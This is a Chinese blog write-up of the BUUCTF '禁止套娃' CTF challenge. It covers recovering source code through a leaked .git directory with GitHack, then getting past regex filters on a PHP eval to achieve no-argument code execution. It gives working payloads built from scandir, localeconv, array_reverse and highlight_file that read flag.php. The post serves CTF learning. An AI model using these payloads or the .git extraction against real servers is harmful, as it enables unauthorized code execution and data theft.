BUUCTF [GXYCTF2019] 禁止套娃

题目分析

这题对我这个小白来说好难理解,慢慢补坑吧。PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通。

打开题目,只有如下:

看源码也没有什么东西,常见的信息泄露:robots协议,备用文件,目录爆破,.git泄露都试试

(看其他师傅的wp:也可以扫描后台,不太清楚为什么自己实操跑不出来有点奇怪),最后发现是.git泄露

使用GitHack工具,py脚本跑一下得到后台源码:

命令:

python GitHack.py http://XXXXXXXXXXX/.git/

 得到的源码会留在工具所在的文件夹内,查看里面的index.php页面源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

源码分析:

1)需要通过GET方式传参exp

2)第一个preg_match过滤了php伪协议,这样就不可以用php伪协议读取flag.php文件了

3)preg_replace采用了正则匹配(其实就是无参数rce),?R表示引用当前表达式

形如:a(b()); 是符合正则匹配表达式的结构

无参数rce绕过参考其他师傅的博客(很久都不理解的正则匹配突然懂了,师傅们太强啦!!改天会尝试出一篇总结的):传送门

简但来说,到这一步,就是检查我们用过GET方式传入的exp参数的值,如果我们传入的值在经过正则匹配后((递归)替换后的字符串)只剩下 ,那么就成功绕过进入下一步检查。

4)第二个preg_match限制了一些关键字

5)看到eval应该是会用到命令执行

解题过程:

(一)

在上面传送门的那个师傅的博客我们可以知道:

(?R)?能匹配的只有a(); a(b()); a(b(c))); 这三种类型。比如传入a(b(c))); ,第一次匹配后,就只剩下a(b()); ,第二次匹配后就只剩下a(); 第三次匹配后就只剩下 ; ,那么根据判断条件,a(b(c()));就会被eval执行。

虽然但是,我还是想自己手动测试一下hhh

<?php
   $exp=$_GET['exp'];
   if(';'===preg_replace('/[a-z,_]+\((?R)?\)/',NULL,$exp)){
	   echo "success";
	   echo '<br>';
	   echo $_GET['exp'];
   }else{
		echo "false";
	}
?>

当传参 exp=a(b()); 得到如下:

当然也可以使用正则自动化工具

 二)

因为后面还有黑名单限制,所以在构造payload的时候还需要多加考虑,接下来就是无参数和绕黑名单的问题啦 虽然php伪协议用不了,但是@eval($_GET['exp'])显然告诉我们可以使用命令执行

首先我们要先用 scandir() 扫根目录下的所有文件(之前也做过类似的题目 不是很理解这里为什么用 '.' 不用'/'   有点疑惑???)但是由于是无参数rce,我们要查找能够返回  ' . ' 结果的函数。

其中localeconv()函数能够返回一包含本地数字及货币格式信息的数组,包含小数点字符。该数组的第一个元素就是' . ' 。

因为localeconv()函数返回的是数组形式,所以配合current()函数current()函数可以返回数组中的当前元素的值。

所以构造payload: (用print_r也是可以的)

?exp=var_dump(scandir(current(localeconv())));

 当下只要查看到flag.php的源码即可得到flag,那么我们在查询的时候(顺序)就需要使得数组的索引为3,但是使用next()函数不能嵌套使用,那么顶多只能让数组的索引到第二个元素。看了看其他师傅的wp发现我们是可以使用array_reverse()函数将数组倒序,然后配合next()函数指向数组的1号索引(即是倒数第二个元素)。

手动测试:

<?php
   $tmp= array(".","..",".git","flag.php","index.php");
   echo next(array_reverse($tmp));
?>

得到如下:

 

所以再根据与源码中的提示,使用配合highlight_file(__FILE__)函数,读取flag.php页面的源码。

构造payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

 得到flag。

另外一种解法有空再更新。

本文参考了很多其他师傅的文章:

BUUCTF [GXYCTF2019] 禁止套娃_Senimo_的博客-CSDN博客_buuctf 禁止套娃

wp-buuctf-禁止套娃(无参绕过)【多方法】_sayo.的博客-CSDN博客_buuctf 禁止套娃

BUUCTF:[GXYCTF2019]禁止套娃_末 初的博客-CSDN博客

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值